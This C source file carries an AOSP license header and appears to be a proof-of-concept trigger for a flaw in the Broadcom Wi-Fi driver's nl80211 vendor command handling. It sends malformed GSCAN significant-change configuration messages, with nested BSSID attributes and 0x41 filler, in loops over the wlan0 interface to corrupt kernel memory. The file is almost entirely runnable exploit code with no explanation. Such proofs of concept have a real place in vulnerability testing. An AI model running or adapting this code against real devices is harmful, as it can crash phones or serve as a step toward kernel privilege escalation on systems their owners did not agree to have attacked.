/** * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define OUI_GOOGLE 0x001A11 #define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100 #define F1_32 0x41414141 #define WL_CHANSPEC_BW_80 0x2000 enum wl_vendor_subcmd { BRCM_VENDOR_SCMD_UNSPEC, BRCM_VENDOR_SCMD_PRIV_STR, GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000, GSCAN_SUBCMD_SET_CONFIG, GSCAN_SUBCMD_SET_SCAN_CONFIG, GSCAN_SUBCMD_ENABLE_GSCAN, GSCAN_SUBCMD_GET_SCAN_RESULTS, GSCAN_SUBCMD_SCAN_RESULTS, GSCAN_SUBCMD_SET_HOTLIST, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG, GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS, GSCAN_SUBCMD_GET_CHANNEL_LIST, ANDR_WIFI_SUBCMD_GET_FEATURE_SET, ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX, ANDR_WIFI_RANDOM_MAC_OUI, ANDR_WIFI_NODFS_CHANNELS, ANDR_WIFI_SET_COUNTRY, GSCAN_SUBCMD_SET_EPNO_SSID, WIFI_SUBCMD_SET_SSID_WHITELIST, WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS, WIFI_SUBCMD_ENABLE_LAZY_ROAM, WIFI_SUBCMD_SET_BSSID_PREF, WIFI_SUBCMD_SET_BSSID_BLACKLIST, GSCAN_SUBCMD_ANQPO_CONFIG, WIFI_SUBCMD_SET_RSSI_MONITOR, RTT_SUBCMD_SET_CONFIG = 0x1100, RTT_SUBCMD_CANCEL_CONFIG, RTT_SUBCMD_GETCAPABILITY, LSTATS_SUBCMD_GET_INFO = 0x1200, DEBUG_START_LOGGING = 0x1400, DEBUG_TRIGGER_MEM_DUMP, DEBUG_GET_MEM_DUMP, DEBUG_GET_VER, DEBUG_GET_RING_STATUS, DEBUG_GET_RING_DATA, DEBUG_GET_FEATURE, DEBUG_RESET_LOGGING, WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600, WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE, /* Add more sub commands here */ VENDOR_SUBCMD_MAX }; enum debug_attributes { DEBUG_ATTRIBUTE_GET_DRIVER, DEBUG_ATTRIBUTE_GET_FW, DEBUG_ATTRIBUTE_RING_ID, DEBUG_ATTRIBUTE_RING_NAME, DEBUG_ATTRIBUTE_RING_FLAGS, DEBUG_ATTRIBUTE_LOG_LEVEL, DEBUG_ATTRIBUTE_LOG_TIME_INTVAL, DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE, DEBUG_ATTRIBUTE_FW_DUMP_LEN, DEBUG_ATTRIBUTE_FW_DUMP_DATA, DEBUG_ATTRIBUTE_RING_DATA, DEBUG_ATTRIBUTE_RING_STATUS, DEBUG_ATTRIBUTE_RING_NUM }; enum gscan_attributes { GSCAN_ATTRIBUTE_NUM_BUCKETS = 10, GSCAN_ATTRIBUTE_BASE_PERIOD, GSCAN_ATTRIBUTE_BUCKETS_BAND, GSCAN_ATTRIBUTE_BUCKET_ID, GSCAN_ATTRIBUTE_BUCKET_PERIOD, GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS, GSCAN_ATTRIBUTE_BUCKET_CHANNELS, GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN, GSCAN_ATTRIBUTE_REPORT_THRESHOLD, GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE, GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND, GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20, GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE, GSCAN_ATTRIBUTE_FLUSH_FEATURE, GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS, GSCAN_ATTRIBUTE_REPORT_EVENTS, /* remaining reserved for additional attributes */ GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30, GSCAN_ATTRIBUTE_FLUSH_RESULTS, GSCAN_ATTRIBUTE_SCAN_RESULTS, /* flat array of wifi_scan_result */ GSCAN_ATTRIBUTE_SCAN_ID, /* indicates scan number */ GSCAN_ATTRIBUTE_SCAN_FLAGS, /* indicates if scan was aborted */ GSCAN_ATTRIBUTE_AP_FLAGS, /* flags on significant change event */ GSCAN_ATTRIBUTE_NUM_CHANNELS, GSCAN_ATTRIBUTE_CHANNEL_LIST, /* remaining reserved for additional attributes */ GSCAN_ATTRIBUTE_SSID = 40, GSCAN_ATTRIBUTE_BSSID, GSCAN_ATTRIBUTE_CHANNEL, GSCAN_ATTRIBUTE_RSSI, GSCAN_ATTRIBUTE_TIMESTAMP, GSCAN_ATTRIBUTE_RTT, GSCAN_ATTRIBUTE_RTTSD, /* remaining reserved for additional attributes */ GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50, GSCAN_ATTRIBUTE_RSSI_LOW, GSCAN_ATTRIBUTE_RSSI_HIGH, GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM, GSCAN_ATTRIBUTE_HOTLIST_FLUSH, /* remaining reserved for additional attributes */ GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60, GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE, GSCAN_ATTRIBUTE_MIN_BREACHING, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH, /* EPNO */ GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70, GSCAN_ATTRIBUTE_EPNO_SSID, GSCAN_ATTRIBUTE_EPNO_SSID_LEN, GSCAN_ATTRIBUTE_EPNO_RSSI, GSCAN_ATTRIBUTE_EPNO_FLAGS, GSCAN_ATTRIBUTE_EPNO_AUTH, GSCAN_ATTRIBUTE_EPNO_SSID_NUM, GSCAN_ATTRIBUTE_EPNO_FLUSH, /* Roam SSID Whitelist and BSSID pref */ GSCAN_ATTRIBUTE_WHITELIST_SSID = 80, GSCAN_ATTRIBUTE_NUM_WL_SSID, GSCAN_ATTRIBUTE_WL_SSID_LEN, GSCAN_ATTRIBUTE_WL_SSID_FLUSH, GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM, GSCAN_ATTRIBUTE_NUM_BSSID, GSCAN_ATTRIBUTE_BSSID_PREF_LIST, GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH, GSCAN_ATTRIBUTE_BSSID_PREF, GSCAN_ATTRIBUTE_RSSI_MODIFIER, /* Roam cfg */ GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90, GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD, GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR, GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR, GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST, GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS, GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER, GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE, /* BSSID blacklist */ GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100, GSCAN_ATTRIBUTE_BLACKLIST_BSSID, GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID, GSCAN_ATTRIBUTE_ANQPO_HS_PLMN, /* Adaptive scan attributes */ GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120, GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD, GSCAN_ATTRIBUTE_MAX }; #define ETHER_ADDR_LEN 6 struct __attribute__ ((packed)) _ether_addr { uint8_t octet[ETHER_ADDR_LEN]; }; static int l1; static int l2; static void test(struct nl_sock *socket, int d_id, int if_index) { struct nl_msg *msg; struct nl_cb *cb; struct nl_msg *vendor_cmd, *nested_msg; struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3; int err, i, j = 0, k = 0, ret; struct _ether_addr mac; memset(&mac, 0x41, sizeof(mac)); // Allocate the messages and callback handler. for (j = l1; j < 1024; j++) { for(k = l2; k < 128; k++) { msg = nlmsg_alloc_size(16384); if (!msg) { exit(EXIT_FAILURE); } genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0); nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index); nla_put_u32(msg, NL80211_ATTR_WIPHY, 0); nla_put_u64(msg, NL80211_ATTR_WDEV, 1); nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE); nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG); /* construct the vendor cmd */ nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA); nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS); for (i = 0; i < j; i++) { nested2 = nla_nest_start(msg, i); nla_nest_end(msg, nested2); } for (i = 0; i < k; i++) { nested2 = nla_nest_start(msg, i); nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac); nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41); nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41); nla_nest_end(msg, nested2); } nla_nest_end(msg, nested); nla_nest_end(msg, nl_vendor_cmds); nl_send_auto_complete(socket, msg); nlmsg_free(msg); } } } int main(int argc, char **argv) { int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning. l1 = 157; l2 = 0; // Open socket to kernel. struct nl_sock *socket = nl_socket_alloc(); // Allocate new netlink socket in memory. genl_connect(socket); // Create file descriptor and bind socket. int driver_id = genl_ctrl_resolve(socket, "nl80211"); // Find the nl80211 driver ID. test(socket, driver_id, if_index); }